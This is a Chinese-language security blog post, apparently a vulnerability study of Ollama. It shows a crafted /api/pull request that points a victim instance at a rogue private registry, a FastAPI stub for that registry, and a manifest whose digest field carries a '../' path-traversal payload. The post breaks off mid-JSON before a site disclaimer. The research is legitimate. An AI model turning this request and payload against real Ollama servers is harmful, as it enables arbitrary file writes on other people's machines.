近日,DeepSeek 爆火,大部分用户都选择使用 Ollama 在本地搭建 DeepSeek 以使用高效、便捷的 AI 模型。然而,随着 Ollama 在本地大规模应用,其安全性问题也逐渐引起关注。鉴于此,我决定深入研究 Ollama 相关的潜在漏洞,探讨其在本地部署环境下可能面临的安全风险。
ollama介绍
Ollama是一个专为本地机器设计的开源框架,旨在简化大型语言模型(LLM)的部署和运行过程。它提供了一套工具和命令,使用户能够轻松地下载、管理和运行各种语言模型,包括LLaMA、LLaVA等流行模型。Ollama通过优化设置和配置细节,如GPU使用情况,提高了模型运行的效率,并且其代码简洁明了,运行时占用资源少,使得在本地高效地运行大型语言模型成为可能。
Ollama 的 HTTP 服务器暴露了多个 API 接口,这些接口执行不同的操作。接口具体的功能介绍如下图。
manifest文件
根据Ollama机制,/api/pull
接口默认可以从Ollama官方registry拉取镜像,当然我们也可以选择从自己构建的私人服务器上拉取镜像,经过研究在pull时规定如下参数即可从私人服务器上拉取镜像
-
10.211.55.3:11434是Ollama客户端地址
-
192.168.200.237是构造的私人服务器地址
POST /api/pull HTTP/1.1
Host: 10.211.55.3:11434
Content-Type: application/json
Content-Length: 77
{
"name": "192.168.200.237/tianweng-anquan/a1batr0ss",
"insecure": true
}
我们先使用fastapi搭建一个私人服务器,看看请求以上请求包会发生什么
from fastapi import FastAPI, Request, Response
app = FastAPI()
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host='0.0.0.0', port=80)
我们发现响应包报错:拉取镜像时没有找到manifest文件。(这是ollama的机制:当你运行ollama pull <model>
时,Ollama 客户端会先向registry服务器发送请求,查询该模型的元数据)
服务器端也报错显示出了一个地址:/v2/tianweng-anquan/a1batr0ss/manifests/latest
,这个地址一定就是请求的registry服务器manifest的地址了。
这里绕不开我们需要谈到manifest文件,如下是一个正常的manifest文件:
-
config
(容器配置层):存储 Docker 容器的元数据,包括容器的运行配置、环境变量、Entrypoint、CMD、工作目录等。 -
layers
(镜像层数据):存储 Docker 镜像的文件系统层(RootFS),每一层都代表了一次文件的变化,比如COPY
或RUN
指令执行后的结果。
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"digest": "sha256:9c46aefae6c6d1e9c1c1b25b8a6f8e67a10bffbdf1b5a82842a527776b8f447a",
"size": 7023
},
"layers": [
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"digest": "sha256:3a2e9a64b4e5e2b77f9a6f2bb2e9235db934e6d3a9c0b1d3837cd8b24d3f6dfb",
"size": 2794576
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"digest": "sha256:5b8c05cddf924c0c3e5f5a5e3f0b4a2c1b96a8a5ff8b2e99a3d5372c5f1e3a28",
"size": 1484567
}
]
}
当然最重要的是digest
字段:这个字段本意是用来校验config层和layers层的哈希的,但经过研究发现digest
字段在使用时并未经过适当的验证,导致在尝试将其存储到文件系统时可能发生路径遍历漏洞。如下:
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"digest": "../../../../../../../../../../../../../../../../../../../traversal",
"size": 5
},
"layers": [
{
"mediaType": "application/vnd.ollama.image.license
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)